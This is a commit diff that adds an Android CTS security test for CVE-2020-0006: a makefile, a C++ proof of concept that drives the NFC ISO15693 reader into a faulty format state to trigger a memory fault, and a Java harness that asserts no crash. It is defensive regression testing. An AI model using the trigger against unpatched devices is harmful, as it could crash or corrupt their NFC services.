[RESTRICT AUTOMERGE] CTS test for Android Security b/139738828

Bug: 139738828
Bug: 144322541
Test: Ran the new testcase on android-8.1.0_r11 to test with/without patch

Change-Id: Ib5fd6b84afb9d7b5656b540945f9314c9f7b96f9
(cherry picked from commit bc7211af310b756566edfb237537a347a0cb2001)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/Android.mk
new file mode 100644
index 0000000..32427bf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2021 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0006
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := 64
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_64 := system/nfc/src/nfc/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/common/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/ulinux/
+LOCAL_C_INCLUDES_64 += system/nfc/src/nfc/int/
+LOCAL_C_INCLUDES_64 += system/nfc/src/hal/include/
+LOCAL_SHARED_LIBRARIES_64 := libnfc-nci
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -Wno-macro-redefined -DCHECK_OVERFLOW -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/poc.cpp
new file mode 100644
index 0000000..e90150e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/poc.cpp
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+// borrowed from rw_i93.cc
+#define RW_I93_FORMAT_DATA_LEN 8
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t* p_uid);
+void* vulnerable_ptr;
+
+// borrowed from rw_i93.cc
+enum {
+    RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
+    RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
+    RW_I93_STATE_BUSY,          /* waiting for response from tag        */
+
+    RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
+    RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
+    RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
+    RW_I93_STATE_FORMAT,        /* performing format procedure          */
+    RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */
+
+    RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
+};
+
+// borrowed from rw_i93.cc
+enum {
+    RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
+    RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
+    RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
+    RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
+    RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */
+
+    RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
+    RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
+    RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */
+
+    RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+    RW_I93_SUBSTATE_CHECK_READ_ONLY,      /* check if any block is locked         */
+    RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV,    /* write CC and empty NDEF/Terminator TLV
+                                           */
+
+    RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
+    RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
+    RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
+};
+
+void* GKI_getbuf(uint16_t size) {
+    void* ptr = malloc(size);
+    if (size == RW_I93_FORMAT_DATA_LEN) {
+        vulnerable_ptr = ptr;
+    }
+    return ptr;
+}
+
+void GKI_freebuf(void* p_buf) {
+    if (p_buf == vulnerable_ptr) {
+        free(p_buf);
+    }
+}
+
+int main() {
+    enable_selective_overload = ENABLE_ALL;
+    tRW_I93_CB* p_i93 = &rw_cb.tcb.i93;
+
+    GKI_init();
+    rw_init();
+
+    uint8_t p_uid = 1;
+    if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+        return EXIT_FAILURE;
+    }
+
+    tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_EVT event = NFC_DATA_CEVT;
+
+    tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
+    if (!p_data) {
+        return EXIT_FAILURE;
+    }
+
+    p_data->data.p_data = (NFC_HDR*)malloc(sizeof(NFC_HDR));
+    if (!(p_data->data.p_data)) {
+        free(p_data);
+        return EXIT_FAILURE;
+    }
+
+    p_i93->state = RW_I93_STATE_FORMAT;
+    p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+    p_i93->block_size = I93_MAX_BLOCK_LENGH - 1;
+    p_data->status = NFC_STATUS_OK;
+    TIMER_LIST_ENT pFirst = {};
+    nfc_cb.quick_timer_queue.p_first = &pFirst;
+
+    p_cb->p_cback(0, event, p_data);
+    free(p_data->data.p_data);
+    free(p_data);
+    enable_selective_overload = ENABLE_NONE;
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
new file mode 100644
index 0000000..7b3fb17
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0006 extends SecurityTestCase {
+
+   /**
+     * b/139738828
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-01")
+    @Test
+    public void testPocCVE_2020_0006() throws Exception {
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0006", null, getDevice());
+    }
+}